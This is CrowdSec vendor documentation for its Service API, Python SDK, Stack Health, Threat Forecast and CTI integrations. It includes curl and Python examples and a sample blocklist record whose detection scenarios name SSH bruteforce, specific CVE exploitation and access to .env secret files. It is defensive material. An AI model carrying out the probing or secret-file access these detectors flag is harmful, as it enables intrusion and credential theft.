JSONCOPY ``` { "id": "1234MYBLOCKLISTID", "created_at": "2024-06-06T07:33:38.509000Z", "updated_at": "2024-06-06T07:33:38.509000Z", "name": "my_test_blocklist", "label": "my_test_blocklist", "description": "testing blocklists feature", "references": [], "is_private": true, "tags": [], "pricing_tier": "free", "source": "custom", "stats": { "content_stats": { "total_seen": 1, "total_fire": 0, "total_seen_1m": 0, "total_in_other_lists": 1, "total_false_positive": 0, "false_positive_removed_by_crowdsec": 0, "most_present_behaviors": [ { "name": "ssh:bruteforce", "label": "SSH Bruteforce", "description": "IP has been reported for performing brute force on ssh services.", "references": [], "total_ips": 1 }, { "name": "http:dos", "label": "HTTP DoS", "description": "IP has been reported trying to perform denial of service attacks.", "references": [], "total_ips": 1 }, { "name": "tcp:scan", "label": "TCP Scan", "description": "IP has been reported for performing TCP port scanning.", "references": [], "total_ips": 1 }, { "name": "http:scan", "label": "HTTP Scan", "description": "IP has been reported for performing actions related to HTTP vulnerability scanning and discovery.", "references": [], "total_ips": 1 }, { "name": "http:exploit", "label": "HTTP Exploit", "description": "IP has been reported for attempting to exploit a vulnerability in a web application.", "references": [], "total_ips": 1 }, { "name": "http:bruteforce", "label": "HTTP Bruteforce", "description": "IP has been reported for performing a HTTP brute force attack (either generic HTTP probing or applicative related brute force).", "references": [], "total_ips": 1 } ], "most_present_categories": [ { "name": "proxy:vpn", "label": "VPN", "description": "IP exposes a VPN service or is being flagged as one.", "total_ips": 1 } ], "most_present_scenarios": [ { "name": "crowdsecurity/nginx-req-limit-exceeded", "label": "Nginx request limit exceeded", "description": "Detects IPs which violate nginx's user set request limit.", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/jira_cve-2021-26086", "label": "Jira CVE-2021-26086 exploitation", "description": "Detect Atlassian Jira CVE-2021-26086 exploitation attemps", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/http-bad-user-agent", "label": "Bad User Agent", "description": "Detect usage of bad User Agent", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/ssh-bf", "label": "SSH Bruteforce", "description": "Detect ssh bruteforce", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/CVE-2017-9841", "label": "PHP Unit Test Framework CVE-2017-9841", "description": "Detect CVE-2017-9841 exploits", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/vpatch-env-access", "label": "Access to .env file", "description": "Detect access to .env files", "references": [], "total_ips": 1 }, { "name": "firewallservices/pf-scan-multi_ports", "label": "PF Scan Multi Ports", "description": "ban IPs that are scanning us", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/ssh-slow-bf", "label": "SSH Slow Bruteforce", "description": "Detect slow ssh bruteforce", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/http-bf-wordpress_bf_xmlrpc", "label": "WP XMLRPC bruteforce", "description": "detect wordpress bruteforce on xmlrpc", "references": [], "total_ips": 1 }, { "name": "crowdsecurity/http-probing", "label": "HTTP Probing", "description": "Detect site scanning/probing from a single ip", "references": [], "total_ips": 1 } ], "top_as": [ { "as_num": "0", "as_name": "AS0", "total_ips": 1 } ], "top_attacking_countries": [ { "country_short": "AU", "total_ips": 1 } ], "top_ips": [ { "ip": "1.2.3.4", "total_signals_1m": 4, "reputation": "suspicious" } ], "updated_at": "2024-06-06T10:31:28.724000Z" }, "usage_stats": { "engines_subscribed_directly": 0, "engines_subscribed_through_org": 0, "engines_subscribed_through_tag": 0, "total_subscribed_engines": 0, "updated_at": "2024-06-06T10:31:28.727000Z" }, "addition_2days": 2, "addition_month": 2, "suppression_2days": 0, "suppression_month": 0, "change_2days_percentage": 100, "change_month_percentage": 100, "count": 2, "updated_at": "2024-06-06T10:31:28.727000Z" }, "from_cti_query": null, "since": null, "shared_with": [], "organization_id": "MY-ORG-ID-abcdef1234", "subscribers": [] } ``` ### Subscribe to a blocklist[โ€‹](#subscribe-to-a-blocklist "Direct link to Subscribe to a blocklist") You can see details about the [subscriber's logic here](https://docs.crowdsec.net/u/console/service_api/blocklists.md#blocklist-subscription-mechanism). * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1//blocklists/1234MYBLOCKLISTID/subscribers \ -d '{ "ids": ["SECENGINEID5678"], "entity_type": "engine", "remediation": "ban" }' ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) from crowdsec_service_api.models import BlocklistSubscriptionRequest auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) request = BlocklistSubscriptionRequest( ids=['SECENGINEID5678'], entity_type='engine', remediation="ban", ) response = client.subscribe_blocklist( request=request, blocklist_id='1234MYBLOCKLISTID', ) print(response) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Blocklists/operation/subscribeBlocklist) answer on success JSONCOPY ``` {"updated":["SECENGINEID5678"],"errors":[]} ``` ### Download blocklist content[โ€‹](#download-blocklist-content "Direct link to Download blocklist content") * cURL * Python SHCOPY ``` GET -H "x-api-key: ${KEY}" https://admin.api.crowdsec.net/v1/blocklists/1234MYBLOCKLISTID/download ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) response = client.download_blocklist_content( blocklist_id='1234MYBLOCKLISTID', if_modified_since=None, if_none_match=None, ) print(response) ``` answer on success TEXTCOPY ``` 1.2.3.4 5.6.7.8 ``` --- # Integrations info * We're assuming your API key is set in the environment variable `$KEY` with the necessary permissions. ### Creating integration[โ€‹](#creating-integration "Direct link to Creating integration") * cURL * Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X POST -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/integrations \ -d '{ "name": "test_integration_1", "description": "my test integration", "entity_type": "firewall_integration", "output_format": "plain_text" }' ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Integrations, Server, ApiKeyAuth, ) from crowdsec_service_api.models import IntegrationCreateRequest auth = ApiKeyAuth(api_key=KEY) client = Integrations(base_url=Server.production_server.value, auth=auth) request = IntegrationCreateRequest( name='test_integration_1', description='my test integration', entity_type='firewall_integration', output_format='plain_text', ) response = client.create_integration( request=request, ) print(response) ``` warning The `username` and `password` will only be displayed at creation time, be sure to write them down. If you lose them, you can always regenerate them with the [`update`](https://admin.api.crowdsec.net/v1/docs#tag/Integrations/operation/updateIntegration) method. * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Integrations/operation/createIntegration) answer on success JSONCOPY ``` { "id": "INTEGRATIONID12345", "name": "test_integration_1", "organization_id": "MY-ORG-ID-abcdef1234", "description": "my test integration", "created_at": "2024-06-07T14:00:31.645929Z", "updated_at": "2024-06-07T14:00:31.645943Z", "entity_type": "firewall_integration", "output_format": "plain_text", "last_pull": null, "blocklists": [], "endpoint": "https://admin.api.crowdsec.net/v1/integrations/INTEGRATIONID12345/content", "stats": { "count": 0 }, "credentials": { "username": "", "password": "" } } ``` ### View integration content[โ€‹](#view-integration-content "Direct link to View integration content") View integration content allows you to preview the list of IPs that are returned to your firewall (or whatever is going to consume the integration). SHCOPY ``` curl -i -u ':' https://admin.api.crowdsec.net/v1/integrations/INTEGRATIONID12345/content ``` --- # Metrics info * We're assuming your API key is set in the environment variable `$KEY` with the necessary permissions. ### Get Remediation Metrics[โ€‹](#get-remediation-metrics "Direct link to Get Remediation Metrics") info * Before you begin, to understand the metrics, please refer to the [Metrics definitions](#metrics-definitions) section. - cURL - Python SHCOPY ``` curl -i -H "x-api-key: ${KEY}" -X GET -H "Content-Type: application/json" \ https://admin.api.crowdsec.net/v1/metrics/remediation?start_date=2025-03-19T00:00:00Z&end_date=2025-03-27T00:00:00Z ``` PYCOPY ``` import os KEY = os.getenv('KEY') from crowdsec_service_api import ( Metrics, Server, ApiKeyAuth, ) auth = ApiKeyAuth(api_key=KEY) client = Metrics(base_url=Server.production_server.value, auth=auth) # Get remediation metrics response = metrics_client.get_metrics_remediation( start_date=datetime.datetime.now() - datetime.timedelta(days=1), end_date=datetime.datetime.now(), ) print(response.model_dump_json()) ``` * [Redoc method link](https://admin.api.crowdsec.net/v1/docs#tag/Metrics/operation/getMetricsRemediation) answer on success JSONCOPY ``` { "raw": { "dropped": [], "processed": [] }, "computed": { "saved": { "log_lines": [], "storage": [], "egress_traffic": [] }, "dropped": [], "prevented": [] } } ``` ### Metrics definitions[โ€‹](#metrics-definitions "Direct link to Metrics definitions") * `raw`: Raw metrics are the metrics that are directly collected from the crowdsec engine. * `computed`: Computed metrics are the metrics that are derived from the raw metrics (we compute them based on the raw metrics). #### Raw metrics[โ€‹](#raw-metrics "Direct link to Raw metrics") * `dropped`: The traffic that was discarded by your remediation components (bouncers) and Blocklists. Its represent the data received from differents remediation components, so it can be : * `requests` : the number of requests that were dropped. * `bytes` : the number of bytes that were dropped. * `packets` : the number of packets that were dropped. * `processed`: The traffic that was processed by by your remediation components (bouncers) and Blocklists. Its represent the data received from differents remediation components, so it can be : * `requests` : the number of requests that were processed. * `bytes` : the number of bytes that were processed. * `packets` : the number of packets that were processed. #### Computed metrics[โ€‹](#computed-metrics "Direct link to Computed metrics") The computed metrics are estimations based on the raw metrics. They are calculated by appliying a coefficient to remediation components (bouncers) metrics that approximates the saved resources. The coefficient is calculated based on the remediation components (bouncers) configuration and the raw metrics. note As most bouncers operate below the application layer, a single blocked attempt prevents the attacker from follow-up attacks. We can convert the raw metrics into estimates more representative of the difference in traffic and attack volume compared to when Crowdsec is not running. Your infrastructure's exact true usage may vary, but the computed metrics are a good approximation of the resources saved by using Crowdsec. [Understand how we compute data](https://www.crowdsec.net/blog/value-of-preemptive-blocking) * `saved`: * `log_lines`: The number of log lines that were saved. It's the number of log lines that would have been generated if the traffic was not dropped. * `storage`: The amount of storage that was saved. It's the amount of storage that would have been used by your logs if the traffic were not dropped. * `egress_traffic`: The amount of egress traffic that was saved. It's is the amount of egress traffic that would have been spent to serve responses if the requests were not dropped. * `dropped`: The traffic that was dropped by your remediation components (bouncers) and Blocklists. * `prevented`: The attacks that were prevented by your remediation components (bouncers) and Blocklists. --- # Python ## Installation[โ€‹](#installation "Direct link to Installation") You can install the Python SDK using `pip`. SHCOPY ``` pip install crowdsec-service-api ``` ## References[โ€‹](#references "Direct link to References") You will find the references for the Python SDK below. * [crowdsecurity/crowdsec-service-api-sdk-python](https://github.com/crowdsecurity/crowdsec-service-api-sdk-python/tree/main/doc) ## Usage[โ€‹](#usage "Direct link to Usage") ### Pre-requisites[โ€‹](#pre-requisites "Direct link to Pre-requisites") * An active [CrowdSec account](https://app.crowdsec.net/) * An API key for the Service API (guide [here](https://docs.crowdsec.net/u/console/service_api/getting_started.md#getting-your-api-keys)) ### Authentication[โ€‹](#authentication "Direct link to Authentication") After obtaining an API key, you can authenticate requests to the Service API by including the key in the `x-api-key` header of your HTTP requests. info * We're assuming your API key is set in the environment variable `$KEY` #### Python[โ€‹](#python "Direct link to Python") PYCOPY ``` import os from crowdsec_service_api import ( Server, Info ApiKeyAuth, ) KEY = os.getenv('KEY') auth = ApiKeyAuth(api_key=KEY) client = Info(base_url=Server.production_server.value, auth=auth) # Get info about the user response = client.get_info() print(response) ``` ### Making Requests[โ€‹](#making-requests "Direct link to Making Requests") You can use the SDK to interact with the Service API. it's defined by service endpoints, such as `blocklists`, `integrations`, etc. #### Python[โ€‹](#python-1 "Direct link to Python") PYCOPY ``` # Get all blocklists import os from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) KEY = os.getenv('KEY') auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) response = client.get_blocklists( page=1, page_size=100, include_filter=['private', 'public'], size=50, ) print(response) ``` ### Error Handling[โ€‹](#error-handling "Direct link to Error Handling") #### Python[โ€‹](#python-2 "Direct link to Python") The SDK raises exceptions when an error occurs. You can catch these exceptions and handle them as needed. PYCOPY ``` import os from crowdsec_service_api import ( Blocklists, Server, ApiKeyAuth, ) from httpx import HTTPStatusError KEY = os.getenv('KEY') auth = ApiKeyAuth(api_key=KEY) client = Blocklists(base_url=Server.production_server.value, auth=auth) try: response = client.get_blocklists( page=1, page_size=100, include_filter=['private', 'public'], size=50, ) print(response) except HTTPStatusError as e: if e.response.status_code == 401: print("Unauthorized: Invalid API key") elif e.response.status_code == 409: print("Conflict", e.response.json()) else: print(f"An error occurred: {e}") except Exception as e: print(f"Another error occurred: {e}") ``` ### Support[โ€‹](#support "Direct link to Support") * Discord: [CrowdSec Discord](https://discord.gg/crowdsec) * GitHub: * [crowdsecurity/crowdsec-service-api-sdk-python](https://github.com/crowdsecurity/crowdsec-service-api-sdk-python) --- # Stack Health The **Stack Health** Feature is a monitoring tool within the CrowdSec Console helping you keep your infrastructure operational and properly configured.
Its primary goal is to identify configuration issues, connectivity problems, or potential misconfigurations that could impact your detection capabilities.
*You can also do a manual health check of your stack by following this post installation [Health-Check guide](https://docs.crowdsec.net/u/getting_started/health_check.md).* *** ## Key Features[โ€‹](#key-features "Direct link to Key Features") * **Issue Detection**: Identifies problems with Security Engines, Log Processors, and blocklists integrations * **Severity-Based Prioritization**: Issues are categorized by criticality *(Critical, Important, Recommended, Bonus)* * **Contextual Troubleshooting**: Each issue points to a dedicated troubleshooting page with detailed diagnosis steps and resolution guidance * **Notification Support**: Get notified about critical issues through the [Console notification system](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) *** ## Accessing Stack Health[โ€‹](#accessing-stack-health "Direct link to Accessing Stack Health") **Stack Health** is available in the CrowdSec Console for all authenticated users.
It is manifesting as: * A dedicated dashboard accessible from the **Security Stack** space left bar menu. * An issue counter badge on the Security Engines cards *(circle in top right corner)* * A list of issues in the Security Engine details view. ### Stack Health Dashboard[โ€‹](#stack-health-dashboard "Direct link to Stack Health Dashboard") The dashboard shows: * List of all detected issues in your organization grouped by criticality * A filter to focus on a specific Security Engine * Each issue card displays: * Issue title and description * Affected Security Engine(s) * Buttons to: mark as resolved, ignore or access troubleshooting guide ![Stack Health Overview](/assets/images/stackhealth-overview-9d7862219d0b9b538f7edcaef921a5a9.png) ### Issues in Security Engine view[โ€‹](#issues-in-security-engine-view "Direct link to Issues in Security Engine view") A badge on the Security Engine card indicates the number of active issues affecting that engine. If you click on the Security Engine card to access its details, you will find a dedicated section listing all active issues for that engine. | SE Card with Badge | SE Details with Issues | | --------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | | ![Issues Badge](/assets/images/stackhealth-engine-badge-ec6d091ebffbce21c1c3c2bd2829e316.png) | ![Issues in Engine Details](/assets/images/stackhealth-engine-details-74425c6c2200625d0dd30ac6f123a7ad.png) | *** ## Understanding Issue Criticality[โ€‹](#understanding-issue-criticality "Direct link to Understanding Issue Criticality") Stack Health categorizes issues into four severity levels: | Severity | Description | | --------------- | -------------------------------------------------------------- | | **Critical** | Immediate attention required - core functionality is impaired | | **Important** | Should be addressed soon - may impact protection effectiveness | | **Recommended** | Additional actions to improve your security posture | | **Bonus** | Optimization advice and premium feature recommendations | Focus on resolving Critical and Important issues first to ensure your security stack is functioning properly. *** ## Issue Details and Resolution[โ€‹](#issue-details-and-resolution "Direct link to Issue Details and Resolution") Click on any issue to view detailed information and step-by-step troubleshooting guidance. ![Issue Details](/assets/images/stackhealth-issue-details-ce89d1a989f4caf85de3f0d177b0867e.png) Each issue detail page includes: * **Trigger Condition**: Why the issue was raised * **Criticality Level**: Severity and priority * **Impact**: What functionality is affected * **Engine Information**: Affected Security Engine details (ID, OS, IP address) * **Contextual Troubleshooting**: Specific diagnosis steps for your situation ### Example: Security Engine No Alerts[โ€‹](#example-security-engine-no-alerts "Direct link to Example: Security Engine No Alerts") When a Security Engine hasn't generated alerts in 48 hours, Stack Health provides: * Possible root causes (simulation mode, missing collections, low traffic) * Commands to verify scenario status * Steps to check log acquisition and parsing * Links to related documentation ![Security Engine No Alerts](/assets/images/stackhealth-no-alerts-troubleshooting-a385bae612143e97d528a3844e317ed7.png) ### List of Issues[โ€‹](#list-of-issues "Direct link to List of Issues") Refer to the [**Console Health Check Issues**](https://docs.crowdsec.net/u/troubleshooting/console_issues.md) documentation page for a comprehensive **list of all Stack Health issues**, their **trigger** conditions, and links to **troubleshooting** guides.
This page is regularly updated as new issues are added. *** ## Notifications and Alerts[โ€‹](#notifications-and-alerts "Direct link to Notifications and Alerts") Stack Health integrates with the Console notification system to alert you when critical issues occur. To receive notifications: 1. Navigate to **Notification Settings** in the Console 2. Configure your preferred notification channels (Email, Slack, Discord, Webhook) 3. Set up notification rules for Stack Health events Learn more about [Console Notification Integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md). *** ## Best Practices[โ€‹](#best-practices "Direct link to Best Practices") ### Regular Monitoring[โ€‹](#regular-monitoring "Direct link to Regular Monitoring") * Check Stack Health dashboard regularly, especially after infrastructure changes * Set up [notifications](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) for **Critical** and **Important** issues * Review the full list of issues at least weekly ### Prioritize by Severity[โ€‹](#prioritize-by-severity "Direct link to Prioritize by Severity") 1. Address **Critical** issues immediately - they indicate broken functionality 2. Plan to fix **Important** issues within 24-48 hours 3. Schedule **Recommended** improvements during maintenance windows 4. Explore **Bonus** optimizations when optimizing your setup --- # Threat Forecast CrowdSec Premium Feature The Threat Forecast is a special blocklist for enterprise organizations.
It provides an additional layer of security on top of the community blocklist. In contrast to the community blocklist it is generated on a per-organization basis to deliver more precise protection based on the signals shared by the organization. ## Enabling the Threat Forecast[โ€‹](#enabling-the-threat-forecast "Direct link to Enabling the Threat Forecast") The Threat Forecast is automatically enabled after a plan upgrade. Similar to the community blocklist, the Threat Forecast Blocklist is also automatically pushed to all your security engines. Users that want more finegrained control over their subscription can manage the blocklist under the blocklist tab in their console. For more detail, check the [blocklist page](https://docs.crowdsec.net/u/console/blocklists/subscription.md). ## Disabling the Threat Forecast[โ€‹](#disabling-the-threat-forecast "Direct link to Disabling the Threat Forecast") To disable the Threat Forecast, simply unsubscribe your organization or engines from in inside the blocklist catalog. This will remove the decisions from your engine. After a while this will stop your Threat Forecast from being recomputed. To turn it on again, subscribe your engines or organization and the recompute should restart within a 24h window. --- # Chrome Extension A Chrome extension which allows you to quickly select an IP on some web page and query it in CTI API. ## Installation[โ€‹](#installation "Direct link to Installation") ### From sources[โ€‹](#from-sources "Direct link to From sources") Clone the repo via TEXTCOPY ``` git clone https://github.com/crowdsecurity/crowdsec_chrome_extension ``` Open the Extension Management page by navigating to chrome://extensions. Enable Developer Mode by clicking the toggle switch next to Developer mode. Click the Load unpacked button and select the repo directory. ## Usage[โ€‹](#usage "Direct link to Usage") Make sure you are logged in to your CrowdSec Console account. Click [here](https://app.crowdsec.net/) to create/login account. Simply select any IP address by dragging your mouse cursor. Then upon right clicking you would see an option to lookup the IP in CrowdSec's CTI. ![chrome extension dropdown](/assets/images/chrome_ext-b504babfb024d42074a775d172260266.png) --- # Gigasheet CrowdSec's CTI API can be used in Gigasheet's No-Code API-data-enrichment feature. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") * As always you'll need a CTI API-key: [Follow this guide to get yours](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md). * Create a free account on Gigasheet by [signing up here](https://app.gigasheet.com/signup) ## Preview[โ€‹](#preview "Direct link to Preview") You can find the full tutorial there: [No-Code API with CrowdSec](https://gigasheet.com/no-code-api/crowdsec-cti-api) Along with the list of [API examples](https://gigasheet.com/features/run-data-enrichment-apis-without-code) on Gigasheet website **Here's a quick preview of what to expect:** \*The API-data-enrichment feature will parse a typical curl request to the CTI API: \* `curl -X GET "https://cti.api.crowdsec.net/v2/smoke/" -H "accept: application/json" -H "x-api-key: "` ![Enrichement configuration](/assets/images/gigasheet_enrichement_config-b77ab63acef11b0b933e5baa0465d889.png) *You can then see a preview on a few lines:* ![Enrichement configuration](/assets/images/gigasheet_enrichement_preview-f999d2f8ad712a8cf726ec1f8469622d.png) *It will then apply the enrichment on all the targeted lines* ![Enrichement configuration](/assets/images/gigasheet_enrichement_result-24713555b832d6e5e3cd3fa2999d1bb7.png) --- # IntelOwl Plugin Since the recent release of IntelOwl 4.2.2, a CrowdSec analyzer has been included. Now IntelOwl users can leverage our CTI API to enrich their IP type observables. A big thanks to Matteo Lodi for writing this analyzer. Intel Owl is an Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale. It integrates several analyzers available online and a lot of cutting-edge malware analysis tools. It is for everyone who needs a single point to query for info about a specific file or observable. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") * IntelOwl v4.2.2+ * CrowdSec CTI API Key. * [See this guide to get yours](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md). ## Installation[โ€‹](#installation "Direct link to Installation") CrowdSec's Analyzer is available and you should see it in the /plugins/analyzers section ![Filtered Analyzers List](/assets/images/intelowl_analyzers-d6b4825c6fe88cc6a845e19d287b9364.png) To configure that plugin and add your API Key you must click on the "Your plugin config" button on the top right corner of that page and then go in the "secrets" section. There, click on "add a new entry" and fill it like so : * Type: **Analyzer** * Plugin Name: **CrowdSec** * Attribute: **api\_key\_name** * Value: *your API key* ![Plugin config](/assets/images/intelowl_config-ff8cdb29411a7eb7c4e0cf22533deac0.png) ## Usage[โ€‹](#usage "Direct link to Usage") In the scan section, you can scan an IP type observable: * Add the IP address as value. * Select CrowdSec as one of the analyzer. * Click **Start Scan**. This will start a job retrieving information we might have about this IP malicious activities ![Scan form](/assets/images/intelowl_scan-338e09dcf6c49f41fa718cae411ea9d7.png) ![Scan Result](/assets/images/intelowl_scan_result-a9c1e2bdbee2a974134b036f5c43325b.png) --- # Integrations CrowdSec has native integrations for the most common security platforms. Enrich your workflows with IP reputation data without writing any code. If your platform isn't listed, the API is a standard REST interface you can query directly: SHCOPY ``` curl -H "x-api-key: $API_KEY" https://cti.api.crowdsec.net/v2/smoke/1.2.3.4 | jq . ``` For the full reference, see the [Swagger documentation](https://crowdsecurity.github.io/cti-api/). *** [![IPDEX logo](/img/cti-integrations/logo-ipdex.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) [IPDEXCrowdSec CTI Reports](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) [![Chrome logo](/img/cti-integrations/logo-chrome.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_chrome.md) [ChromeCrowdSec CTI Extension](https://docs.crowdsec.net/u/cti_api/api_integration/integration_chrome.md) [![Gigasheet logo](/img/cti-integrations/logo-gigasheet.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_gigasheet.md) [GigasheetNo-Code API Enrichment](https://docs.crowdsec.net/u/cti_api/api_integration/integration_gigasheet.md) [![IntelOwl logo](/img/cti-integrations/logo-intelowl.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intelowl.md) [IntelOwlCrowdSec Analyzer](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intelowl.md) [![Maltego logo](/img/cti-integrations/logo-maltego.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_maltego.md) [MaltegoCrowdSec Transform](https://docs.crowdsec.net/u/cti_api/api_integration/integration_maltego.md) [![MISP logo](/img/cti-integrations/logo-misp.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_misp.md) [MISPCrowdSec Feed Module](https://docs.crowdsec.net/u/cti_api/api_integration/integration_misp.md) [![MSTICpy logo](/img/cti-integrations/logo-msticpy.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_msticpy.md) [MSTICpyCrowdSec TI Provider](https://docs.crowdsec.net/u/cti_api/api_integration/integration_msticpy.md) [![Microsoft Sentinel logo](/img/cti-integrations/logo-ms-sentinel.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ms_sentinel.md) [Microsoft SentinelCrowdSec Threat Intelligence](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ms_sentinel.md) [![OpenCTI logo](/img/cti-integrations/logo-opencti.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_opencti.md) [OpenCTICrowdSec Connector](https://docs.crowdsec.net/u/cti_api/api_integration/integration_opencti.md) [![Palo Alto XSOAR logo](/img/cti-integrations/logo-paloalto_xsoar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_paloalto_xsoar.md) [Palo Alto XSOARCrowdSec Integration](https://docs.crowdsec.net/u/cti_api/api_integration/integration_paloalto_xsoar.md) [![QRadar logo](/img/cti-integrations/logo-qradar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_qradar.md) [QRadarCrowdSec App](https://docs.crowdsec.net/u/cti_api/api_integration/integration_qradar.md) [![Security Copilot logo](/img/cti-integrations/logo-securitycopilot.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_securitycopilot.md) [Security CopilotCrowdSec Plugin](https://docs.crowdsec.net/u/cti_api/api_integration/integration_securitycopilot.md) [![Sekoia XDR logo](/img/cti-integrations/logo-sekoia.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_sekoia_xdr.md) [Sekoia XDRCrowdSec CTI Intake](https://docs.crowdsec.net/u/cti_api/api_integration/integration_sekoia_xdr.md) [![Splunk SIEM logo](/img/cti-integrations/logo-splunk_siem.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_siem.md) [Splunk SIEMCrowdSec Add-on for Splunk](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_siem.md) [![Splunk SOAR logo](/img/cti-integrations/logo-splunk_soar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_soar.md) [Splunk SOARCrowdSec App for SOAR](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_soar.md) [![TheHive logo](/img/cti-integrations/logo-thehive.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_thehive.md) [TheHiveCrowdSec Analyzer](https://docs.crowdsec.net/u/cti_api/api_integration/integration_thehive.md) --- # IPDEX `ipdex` is a tool developed by CrowdSec to investigate IP reputation using the CrowdSec CTI API. It is available as a **web application** and a **CLI**, and is particularly useful as a Proof of Value tool to assess CrowdSec's threat intelligence coverage across both blocklists and threat intel data. ## Web UI[โ€‹](#web-ui "Direct link to Web UI") The [ipdex web app](https://ipdex.crowdsec.net/) lets you upload a list of IPs or a log file and instantly get a reputation report: no installation required. ![ipdex web UI](/assets/images/ipdex_demo-b07a9fd1f7694b5c604c34215515f269.png) For full usage documentation, see [ipdex.crowdsec.net/docs](https://ipdex.crowdsec.net/docs). ## CLI[โ€‹](#cli "Direct link to CLI") The CLI version is available for local use and automation. It connects to the CTI API using your API key. [Official ipdex repository](https://github.com/crowdsecurity/ipdex) ### Installation[โ€‹](#installation "Direct link to Installation") See the [install guide](https://github.com/crowdsecurity/ipdex?tab=readme-ov-file#1-install) on the ipdex repository. ### Usage[โ€‹](#usage "Direct link to Usage") See the [user guide](https://github.com/crowdsecurity/ipdex?tab=readme-ov-file#user-guide) on the ipdex repository. #### Analyzing an IP address[โ€‹](#analyzing-an-ip-address "Direct link to Analyzing an IP address") ![IP Analysis](/assets/images/ipdex_ip-f887091d4d6bf8862f9626ed543363ec.png) #### Analyzing a log file[โ€‹](#analyzing-a-log-file "Direct link to Analyzing a log file") ![Log File Analysis](/assets/images/ipdex_log_file-749550a8475aa2745f8a504834f13e1b.png) --- # Maltego Transforms Maltego transforms, which allow users to enrich IP entities in maltego with CrowdSec CTI intelligence.In this documentation we'll answer the following questions: * How to create your private TDS (pTDS) * Where to install and configure the crowdsec transforms * What our 11 transforms do ## Deployment Guide[โ€‹](#deployment-guide "Direct link to Deployment Guide") ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") Make sure your instance has docker and docker compose installed. The instance should have a public IP. ### Steps[โ€‹](#steps "Direct link to Steps") #### Starting the transform server[โ€‹](#starting-the-transform-server "Direct link to Starting the transform server") Clone the repo and cd into it and start docker compose: TEXTCOPY ``` git clone https://github.com/crowdsecurity/maltego-transforms cd maltego-transforms docker compose up ``` #### Modify settings to point to your IP[โ€‹](#modify-settings-to-point-to-your-ip "Direct link to Modify settings to point to your IP") With your current working directory being in the cloned repo. Run the following command to point the settings to your instance's IP TEXTCOPY ``` sed -i "s/my_ip/192.168.1.1/g" transforms.csv ``` Replace **192.168.1.1** with your instance's IP #### Registering at pTDS[โ€‹](#registering-at-ptds "Direct link to Registering at pTDS") ##### Importing Transforms[โ€‹](#importing-transforms "Direct link to Importing Transforms") 1. Navigate your browser to [pTDS website](https://public-tds.paterva.com/ptds/login) 2. Create an account and login. 3. Navigate to [Transforms](https://public-tds.paterva.com/transforms) 4. Click on import Transforms. 5. Click on Choose File and navigate to `transforms.csv` file we modified earlier. 6. Finally click on **Import Transform** Button ##### Creating a Seed[โ€‹](#creating-a-seed "Direct link to Creating a Seed") 1. Navigate to [Seeds](https://public-tds.paterva.com/seeds) 2. Click on **Add Seed** Button. 3. Fill in the Seed Name, with name of your choice. 4. Click on the Transforms dropdown and select all the CrowdSec Transforms. 5. Click on the **Add Seed** Button. Done ! You can now share the Seed URL to maltego clients, and they'd be able to use the transforms. ## User Guide[โ€‹](#user-guide "Direct link to User Guide") ### Installation[โ€‹](#installation "Direct link to Installation") #### Registering the Seed URL[โ€‹](#registering-the-seed-url "Direct link to Registering the Seed URL") In your maltego client register the Seed URL we created in the above deployment guide by following [this guide](https://docs.maltego.com/support/solutions/articles/15000011965-how-do-i-add-a-new-transform-seed-to-my-maltego-client-) #### Adding CrowdSec API key to the transforms[โ€‹](#adding-crowdsec-api-key-to-the-transforms "Direct link to Adding CrowdSec API 